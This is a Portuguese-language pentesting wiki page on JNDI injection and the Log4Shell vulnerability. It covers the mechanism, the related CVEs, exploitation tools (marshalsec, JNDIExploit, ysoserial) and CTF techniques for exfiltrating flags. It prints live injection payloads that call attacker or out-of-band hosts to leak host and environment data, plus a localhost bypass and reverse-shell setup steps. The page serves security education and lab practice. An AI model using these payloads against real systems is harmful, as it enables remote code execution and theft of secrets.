JNDI - Java Naming and Directory Interface & Log4Shell
Informações Básicas
JNDI, integrado ao Java desde o final da década de 1990, serve como um serviço de diretório, permitindo que programas Java localizem dados ou objetos por meio de um sistema de nomenclatura. Ele suporta vários serviços de diretório por meio de interfaces de provedor de serviço (SPIs), permitindo a recuperação de dados de diferentes sistemas, incluindo objetos Java remotos. Os SPIs comuns incluem CORBA COS, Java RMI Registry e LDAP.
Referência de Nomenclatura JNDI
Objetos Java podem ser armazenados e recuperados usando Referências de Nomenclatura JNDI, que vêm em duas formas:
Endereços de Referência: Especifica a localização de um objeto (por exemplo, rmi://server/ref), permitindo a recuperação direta do endereço especificado.
Fábrica Remota: Faz referência a uma classe de fábrica remota. Quando acessada, a classe é baixada e instanciada do local remoto.
No entanto, esse mecanismo pode ser explorado, levando potencialmente ao carregamento e execução de código arbitrário. Como contramedida:
RMI:
java.rmi.server.useCodeabseOnly = true
por padrão a partir do JDK 7u21, restringindo o carregamento de objetos remotos. Um Gerenciador de Segurança limita ainda mais o que pode ser carregado.LDAP:
com.sun.jndi.ldap.object.trustURLCodebase = false
por padrão a partir do JDK 6u141, 7u131, 8u121, bloqueando a execução de objetos Java carregados remotamente. Se definido comotrue
, a execução de código remoto é possível sem a supervisão de um Gerenciador de Segurança.CORBA: Não possui uma propriedade específica, mas o Gerenciador de Segurança está sempre ativo.
No entanto, o Gerenciador de Nomenclatura, responsável por resolver links JNDI, carece de mecanismos de segurança integrados, permitindo potencialmente a recuperação de objetos de qualquer fonte. Isso representa um risco, pois as proteções RMI, LDAP e CORBA podem ser contornadas, levando ao carregamento de objetos Java arbitrários ou à exploração de componentes de aplicativo existentes (gadgets) para executar código malicioso.
Exemplos de URLs exploráveis incluem:
rmi://attacker-server/bar
ldap://attacker-server/bar
iiop://attacker-server/bar
Apesar das proteções, vulnerabilidades permanecem, principalmente devido à falta de salvaguardas contra o carregamento de JNDI de fontes não confiáveis e à possibilidade de contornar as proteções existentes.
Exemplo JNDI
Mesmo que você tenha definido um PROVIDER_URL
, você pode indicar um diferente em uma busca e ele será acessado: ctx.lookup("<attacker-controlled-url>")
e é isso que um atacante irá abusar para carregar objetos arbitrários de um sistema controlado por ele.
Visão Geral do CORBA
CORBA (Common Object Request Broker Architecture) emprega uma Referência de Objeto Interoperável (IOR) para identificar de forma única objetos remotos. Esta referência inclui informações essenciais como:
ID do Tipo: Identificador único para uma interface.
Codebase: URL para obter a classe stub.
Notavelmente, o CORBA não é inerentemente vulnerável. Garantir segurança geralmente envolve:
Instalação de um Gerenciador de Segurança.
Configuração do Gerenciador de Segurança para permitir conexões a codebases potencialmente maliciosas. Isso pode ser alcançado através de:
Permissão de socket, por exemplo,
permissions java.net.SocketPermission "*:1098-1099", "connect";
.Permissões de leitura de arquivo, seja universalmente (
permission java.io.FilePermission "<<ALL FILES>>", "read";
) ou para diretórios específicos onde arquivos maliciosos possam ser colocados.
No entanto, algumas políticas de fornecedores podem ser lenientes e permitir essas conexões por padrão.
Contexto RMI
Para RMI (Remote Method Invocation), a situação é um pouco diferente. Assim como no CORBA, o download arbitrário de classes é restrito por padrão. Para explorar o RMI, normalmente seria necessário contornar o Gerenciador de Segurança, um feito também relevante no CORBA.
LDAP
Primeiro de tudo, precisamos distinguir entre uma Busca e uma Consulta.
Uma busca usará uma URL como ldap://localhost:389/o=JNDITutorial
para encontrar o objeto JNDITutorial de um servidor LDAP e recuperar seus atributos.
Uma consulta é destinada a serviços de nomenclatura, pois queremos obter qualquer coisa vinculada a um nome.
Se a busca LDAP foi invocada com SearchControls.setReturningObjFlag() com true
, então o objeto retornado será reconstruído.
Portanto, existem várias maneiras de atacar essas opções. Um atacante pode envenenar registros LDAP introduzindo payloads neles que serão executados nos sistemas que os coletam (muito útil para comprometer dezenas de máquinas se você tiver acesso ao servidor LDAP). Outra maneira de explorar isso seria realizar um ataque MitM em uma busca LDAP, por exemplo.
Caso você consiga fazer um aplicativo resolver uma URL JNDI LDAP, você pode controlar o LDAP que será pesquisado e poderia enviar de volta o exploit (log4shell).
Exploit de Deserialização
O exploit é serializado e será desserializado.
Caso trustURLCodebase
seja true
, um atacante pode fornecer suas próprias classes na codebase, caso contrário, ele precisará abusar de gadgets no classpath.
Exploit de Referência JNDI
É mais fácil atacar este LDAP usando referências JavaFactory:
Vulnerabilidade Log4Shell
A vulnerabilidade é introduzida no Log4j porque suporta uma sintaxe especial na forma ${prefix:name}
onde prefix
é um dos vários Lookups onde name
deve ser avaliado. Por exemplo, ${java:version}
é a versão atual do Java em execução.
LOG4J2-313 introduziu um recurso de Lookup jndi
. Este recurso permite a recuperação de variáveis através do JNDI. Normalmente, a chave é automaticamente prefixada com java:comp/env/
. No entanto, se a chave em si incluir um ":", esse prefixo padrão não é aplicado.
Com um : presente na chave, como em ${jndi:ldap://example.com/a}
, não há prefixo e o servidor LDAP é consultado para o objeto. E esses Lookups podem ser usados tanto na configuração do Log4j quanto quando as linhas são registradas.
Portanto, a única coisa necessária para obter RCE é uma versão vulnerável do Log4j processando informações controladas pelo usuário. E porque esta é uma biblioteca amplamente utilizada por aplicações Java para registrar informações (incluindo aplicações voltadas para a Internet), era muito comum ter log4j registrando, por exemplo, cabeçalhos HTTP recebidos como o User-Agent. No entanto, log4j não é usado apenas para registrar informações HTTP, mas qualquer entrada e dados que o desenvolvedor indicou.
Visão Geral dos CVEs Relacionados ao Log4Shell
CVE-2021-44228 [Crítico]
Esta vulnerabilidade é uma falha crítica de deserialização não confiável no componente log4j-core
, afetando versões de 2.0-beta9 a 2.14.1. Ela permite execução remota de código (RCE), permitindo que atacantes assumam o controle dos sistemas. O problema foi relatado por Chen Zhaojun da Alibaba Cloud Security Team e afeta vários frameworks Apache. A correção inicial na versão 2.15.0 foi incompleta. Regras Sigma para defesa estão disponíveis (Regra 1, Regra 2).
CVE-2021-45046 [Crítico]
Inicialmente classificado como baixo, mas posteriormente elevado para crítico, este CVE é uma falha de Negação de Serviço (DoS) resultante de uma correção incompleta em 2.15.0 para CVE-2021-44228. Afeta configurações não padrão, permitindo que atacantes causem ataques DoS através de payloads elaborados. Um tweet mostra um método de contorno. O problema foi resolvido nas versões 2.16.0 e 2.12.2, removendo padrões de busca de mensagens e desabilitando JNDI por padrão.
CVE-2021-4104 [Alto]
Afetando versões Log4j 1.x em configurações não padrão usando JMSAppender
, este CVE é uma falha de deserialização não confiável. Nenhuma correção está disponível para a ramificação 1.x, que está no fim da vida, e recomenda-se a atualização para log4j-core 2.17.0
.
CVE-2021-42550 [Moderado]
Esta vulnerabilidade afeta o framework de logging Logback, um sucessor do Log4j 1.x. Anteriormente considerado seguro, o framework foi encontrado vulnerável, e novas versões (1.3.0-alpha11 e 1.2.9) foram lançadas para resolver o problema.
CVE-2021-45105 [Alto]
Log4j 2.16.0 contém uma falha de DoS, levando ao lançamento do log4j 2.17.0
para corrigir o CVE. Mais detalhes estão no relatório da BleepingComputer.
Afetando a versão 2.17 do log4j, este CVE exige que o atacante controle o arquivo de configuração do log4j. Envolve potencial execução de código arbitrário via um JDBCAppender configurado. Mais detalhes estão disponíveis no post do blog da Checkmarx.
Exploração do Log4Shell
Descoberta
Esta vulnerabilidade é muito fácil de descobrir se desprotegida, pois enviará pelo menos uma solicitação DNS para o endereço que você indicar em seu payload. Portanto, payloads como:
${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}
(usando canarytokens.com)${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}
(usando interactsh)${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}
(usando Burp Suite)${jndi:ldap://2j4ayo.dnslog.cn}
(usando dnslog)${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}
usando (usando huntress)
Note que mesmo que uma solicitação DNS seja recebida, isso não significa que a aplicação seja explorável (ou mesmo vulnerável), você precisará tentar explorá-la.
Lembre-se de que para explorar a versão 2.15 você precisa adicionar o bypass de verificação de localhost: ${jndi:ldap://127.0.0.1#...}
Descoberta Local
Procure por versões vulneráveis locais da biblioteca com:
Verificação
Algumas das plataformas listadas anteriormente permitirão que você insira alguns dados variáveis que serão registrados quando solicitados. Isso pode ser muito útil para 2 coisas:
Para verificar a vulnerabilidade
Para exfiltrar informações abusando da vulnerabilidade
Por exemplo, você poderia solicitar algo como:
ou como ${
jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}
e se um pedido DNS for recebido com o valor da variável de ambiente, você sabe que a aplicação é vulnerável.
Outras informações que você poderia tentar vazar:
RCE Information
Hosts executando versões do JDK acima de 6u141, 7u131 ou 8u121 estão protegidos contra o vetor de ataque de carregamento de classe LDAP. Isso se deve à desativação padrão de com.sun.jndi.ldap.object.trustURLCodebase
, que impede o JNDI de carregar uma base de código remota via LDAP. No entanto, é crucial notar que essas versões não estão protegidas contra o vetor de ataque de desserialização.
Para atacantes que visam explorar essas versões mais altas do JDK, é necessário aproveitar um gadget confiável dentro da aplicação Java. Ferramentas como ysoserial ou JNDIExploit são frequentemente usadas para esse propósito. Por outro lado, explorar versões mais baixas do JDK é relativamente mais fácil, pois essas versões podem ser manipuladas para carregar e executar classes arbitrárias.
Para mais informações (como limitações em vetores RMI e CORBA) verifique a seção anterior de Referência de Nomeação JNDI ou https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/
RCE - Marshalsec com payload personalizado
Você pode testar isso na THM box: https://tryhackme.com/room/solar
Use a ferramenta marshalsec (versão jar disponível aqui). Essa abordagem estabelece um servidor de referência LDAP para redirecionar conexões para um servidor HTTP secundário onde o exploit será hospedado:
Para solicitar que o alvo carregue um código de shell reverso, crie um arquivo Java chamado Exploit.java
com o conteúdo abaixo:
Compile o arquivo Java em um arquivo de classe usando: javac Exploit.java -source 8 -target 8
. Em seguida, inicie um servidor HTTP no diretório contendo o arquivo de classe com: python3 -m http.server
. Certifique-se de que o servidor LDAP marshalsec faça referência a este servidor HTTP.
Acione a execução da classe de exploit no servidor web vulnerável enviando um payload semelhante a:
Nota: Este exploit depende da configuração do Java para permitir o carregamento de código remoto via LDAP. Se isso não for permitido, considere explorar uma classe confiável para execução de código arbitrário.
RCE - JNDIExploit
Note que, por algum motivo, o autor removeu este projeto do github após a descoberta do log4shell. Você pode encontrar uma versão em cache em https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2, mas se você quiser respeitar a decisão do autor, use um método diferente para explorar essa vulnerabilidade.
Além disso, você não pode encontrar o código-fonte na wayback machine, então ou analise o código-fonte ou execute o jar sabendo que você não sabe o que está executando.
Para este exemplo, você pode apenas executar este servidor web vulnerável ao log4shell na porta 8080: https://github.com/christophetd/log4shell-vulnerable-app (no README você encontrará como executá-lo). Este aplicativo vulnerável está registrando com uma versão vulnerável do log4shell o conteúdo do cabeçalho da solicitação HTTP X-Api-Version.
Em seguida, você pode baixar o arquivo jar JNDIExploit e executá-lo com:
Após ler o código por apenas alguns minutos, em com.feihong.ldap.LdapServer e com.feihong.ldap.HTTPServer você pode ver como os servidores LDAP e HTTP são criados. O servidor LDAP entenderá qual payload precisa ser servido e redirecionará a vítima para o servidor HTTP, que servirá o exploit. Em com.feihong.ldap.gadgets você pode encontrar alguns gadgets específicos que podem ser usados para executar a ação desejada (potencialmente executar código arbitrário). E em com.feihong.ldap.template você pode ver as diferentes classes de template que gerarão os exploits.
Você pode ver todos os exploits disponíveis com java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
. Alguns úteis são:
Então, em nosso exemplo, já temos aquele aplicativo vulnerável em execução no docker. Para atacá-lo:
Ao enviar os ataques, você verá algumas saídas no terminal onde executou JNDIExploit-1.2-SNAPSHOT.jar.
Lembre-se de verificar java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
para outras opções de exploração. Além disso, caso precise, você pode alterar a porta dos servidores LDAP e HTTP.
RCE - JNDI-Exploit-Kit
De maneira semelhante ao exploit anterior, você pode tentar usar JNDI-Exploit-Kit para explorar essa vulnerabilidade. Você pode gerar as URLs para enviar à vítima executando:
Este ataque usando um objeto java gerado customizado funcionará em laboratórios como o THM solar room. No entanto, isso geralmente não funcionará (já que por padrão o Java não está configurado para carregar código remoto usando LDAP) eu acho que porque não está abusando de uma classe confiável para executar código arbitrário.
RCE - JNDI-Injection-Exploit-Plus
https://github.com/cckuailong/JNDI-Injection-Exploit-Plus é outra ferramenta para gerar links JNDI funcionais e fornecer serviços de fundo iniciando servidor RMI, servidor LDAP e servidor HTTP.\
RCE - ysoserial & JNDI-Exploit-Kit
Esta opção é realmente útil para atacar versões do Java configuradas para confiar apenas em classes especificadas e não em todas. Portanto, ysoserial será usado para gerar serializações de classes confiáveis que podem ser usadas como gadgets para executar código arbitrário (a classe confiável abusada pelo ysoserial deve ser usada pelo programa java da vítima para que a exploração funcione).
Usando ysoserial ou ysoserial-modified você pode criar a exploração de deserialização que será baixada pelo JNDI:
Use JNDI-Exploit-Kit para gerar links JNDI onde o exploit estará aguardando conexões das máquinas vulneráveis. Você pode servir diferentes exploits que podem ser gerados automaticamente pelo JNDI-Exploit-Kit ou até mesmo seus próprios payloads de desserialização (gerados por você ou ysoserial).
Agora você pode facilmente usar um link JNDI gerado para explorar a vulnerabilidade e obter um reverse shell apenas enviando para uma versão vulnerável do log4j: ${ldap://10.10.14.10:1389/generated}
Bypasses
Scanners Automáticos
https://github.com/palantir/log4j-sniffer - Encontre bibliotecas vulneráveis locais
Laboratórios para testar
Exploração Pós-Log4Shell
Neste CTF writeup está bem explicado como é potencialmente possível abusar de algumas funcionalidades do Log4J.
A página de segurança do Log4j tem algumas frases interessantes:
A partir da versão 2.16.0 (para Java 8), a funcionalidade de busca de mensagens foi completamente removida. Buscas na configuração ainda funcionam. Além disso, o Log4j agora desabilita o acesso ao JNDI por padrão. Buscas JNDI na configuração agora precisam ser habilitadas explicitamente.
A partir da versão 2.17.0 (e 2.12.3 e 2.3.1 para Java 7 e Java 6), apenas strings de busca na configuração são expandidas recursivamente; em qualquer outro uso, apenas a busca de nível superior é resolvida, e quaisquer buscas aninhadas não são resolvidas.
Isso significa que, por padrão, você pode esquecer de usar qualquer exploit jndi
. Além disso, para realizar buscas recursivas, você precisa tê-las configuradas.
Por exemplo, neste CTF isso foi configurado no arquivo log4j2.xml:
Env Lookups
No este CTF, o atacante controlava o valor de ${sys:cmd}
e precisava exfiltrar a bandeira de uma variável de ambiente.
Como visto nesta página em payloads anteriores, existem algumas maneiras de acessar variáveis de ambiente, como: ${env:FLAG}
. Neste CTF, isso foi inútil, mas pode não ser em outros cenários da vida real.
Exfiltration in Exceptions
No CTF, você não conseguia acessar o stderr da aplicação java usando log4J, mas as exceções do Log4J são enviadas para stdout, que foram impressas no aplicativo python. Isso significava que, ao acionar uma exceção, poderíamos acessar o conteúdo. Uma exceção para exfiltrar a bandeira foi: ${java:${env:FLAG}}
. Isso funciona porque ${java:CTF{blahblah}}
não existe e uma exceção com o valor da bandeira será exibida:
Conversion Patterns Exceptions
Só para mencionar, você também poderia injetar novos padrões de conversão e acionar exceções que serão registradas em stdout
. Por exemplo:
Isso não foi considerado útil para exfiltrar dados dentro da mensagem de erro, porque a busca não foi resolvida antes do padrão de conversão, mas poderia ser útil para outras coisas, como detecção.
Conversion Patterns Regexes
No entanto, é possível usar alguns padrões de conversão que suportam regexes para exfiltrar informações de uma busca usando regexes e abusando de busca binária ou comportamentos baseados em tempo.
Busca binária via mensagens de exceção
O padrão de conversão %replace
pode ser usado para substituir conteúdo de uma string mesmo usando regexes. Funciona assim: replace{pattern}{regex}{substitution}
Abusando desse comportamento, você poderia fazer a substituição acionar uma exceção se a regex corresponder a qualquer coisa dentro da string (e nenhuma exceção se não fosse encontrada) assim:
Baseado em tempo
Como mencionado na seção anterior, %replace
suporta regexes. Portanto, é possível usar um payload da página ReDoS para causar um timeout caso a flag seja encontrada.
Por exemplo, um payload como %replace{${env:FLAG}}{^(?=CTF)((.
)
)*salt$}{asd}
acionaria um timeout naquele CTF.
Neste writeup, em vez de usar um ataque ReDoS, foi utilizado um ataque de amplificação para causar uma diferença de tempo na resposta:
Se a flag começar com
flagGuess
, toda a flag é substituída por 29#
-s (usei esse caractere porque provavelmente não faria parte da flag). Cada um dos 29#
-s resultantes é então substituído por 54#
-s. Esse processo é repetido 6 vezes, levando a um total de29*54*54^6* =`` ``
96816014208
#
-s!Substituir tantos
#
-s acionará o timeout de 10 segundos da aplicação Flask, o que, por sua vez, resultará no código de status HTTP 500 sendo enviado ao usuário. (Se a flag não começar comflagGuess
, receberemos um código de status diferente de 500)
Referências
Last updated